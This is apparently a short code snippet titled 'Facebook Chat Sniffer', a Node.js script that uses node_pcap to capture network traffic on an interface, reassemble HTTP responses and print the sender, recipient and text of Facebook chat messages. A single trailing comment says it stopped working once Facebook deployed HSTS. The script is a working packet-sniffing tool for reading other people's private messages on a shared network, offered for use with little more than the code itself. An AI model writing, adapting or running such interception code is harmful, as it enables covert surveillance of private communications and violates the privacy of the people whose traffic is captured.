Facebook Chat Sniffer using Node.JS + node_pcap

fb_chat_sniffer.js

var pcap = require('pcap'), // npm install pcap
    tcp_tracker = new pcap.TCP_tracker(),
    pcap_session = pcap.createSession('en1'); // Change to your interface

pcap_session.on('packet', function (raw_packet) {
    var packet = pcap.decode.packet(raw_packet);
    tcp_tracker.track_packet(packet);
});

tcp_tracker.on('http response body', function(session, http, data) {
    if (data.toString('utf8').match(/^for\s\(;;\).*"from_name":/)) {
        var msg = JSON.parse(data.toString('utf8').replace('for (;;);', '')); 
        console.log('\n\nFrom: ' +  msg.ms[0].from_name + '\nTo: ' + msg.ms[0].to_name + '\nMessage: ' + msg.ms[0].msg.text);
    }
});

@jchaney it's impossible since Facebook deployed HSTS.